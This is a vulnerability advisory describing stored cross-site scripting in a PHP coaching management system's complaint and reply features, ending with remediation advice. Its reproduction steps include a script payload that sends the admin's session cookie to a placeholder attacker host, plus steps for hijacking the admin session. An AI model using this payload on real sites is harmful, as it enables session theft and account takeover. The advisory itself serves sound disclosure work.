CVE-2026-7222-XSS

Stored Cross-Site Scripting (XSS) in Coaching Management System Leads to Account Takeover

Product

Coaching Management System in PHP (Code-Projects.org) https://code-projects.org/coaching-management-system-in-php-with-source-code/

Affected Components

• /modules/student/complaint.php (Complaint Submission)
• /modules/admin/incomingcomplaint.php (Complaint Viewing)
• Complaint Reply Functionality (Admin/Teacher → Student)

Version

Unknown (No version information provided by the vendor; tested on the latest available version from Code-Projects.org as of April 2026)

Vulnerability Type

CWE-79: Improper Neutralization of Input During Web Page Generation (Stored Cross-Site Scripting)

Description

The application fails to properly sanitize user-supplied input in the complaint and reply functionality. Malicious JavaScript injected by a low-privileged user is stored and executed when viewed by higher-privileged users such as administrators or teachers.

Additionally, the reply functionality is also vulnerable, allowing administrators or teachers to inject JavaScript that executes in student sessions.

This results in stored XSS vulnerability affecting multiple user roles.

Steps to Reproduce

Case 1: Student → Admin (Privilege Escalation)

1. Login as Student

2. Navigate to: /modules/student/complaint.php

3. Submit a complaint with the following payload:

<script>
new Image().src="http://ATTACKER-IP:PORT/?c="+document.cookie;
</script>

4. Login as Admin

5. Navigate to: /modules/admin/incomingcomplaint.php

6. When the admin views the complaint, the payload executes automatically

7. The admin session cookie is sent to the attacker-controlled server

8. Use the stolen session cookie to hijack the admin session

   

Case 2: Admin → Student (Reverse XSS)

1. Login as Admin
2. Reply to a complaint using payload:

3. Login as Student
4. View the complaint reply

Proof of Concept Evidence

• JavaScript execution confirmed in admin panel upon viewing malicious complaint
• Session cookie (PHPSESSID) successfully exfiltrated via attacker-controlled server
• Admin session hijacked using stolen cookie
• JavaScript execution confirmed in student panel via reply functionality

Impact

• Low-privileged users (students) can execute arbitrary JavaScript in admin context
• Leads to session hijacking due to absence of HttpOnly flag
• Full administrative account takeover
• Bidirectional XSS allows compromise of multiple roles (Admin, Teacher, Student)
• Complete compromise of application integrity, confidentiality, and availability

Severity: CRITICAL

Root Cause

• Lack of input sanitization
• Absence of output encoding
• Missing security controls on session cookies (HttpOnly flag not set)

Recommendation

• Sanitize and validate all user inputs.
• Encode output using functions like htmlspecialchars() in PHP
• Set HttpOnly and Secure flags on session cookies
• Implement Content Security Policy (CSP)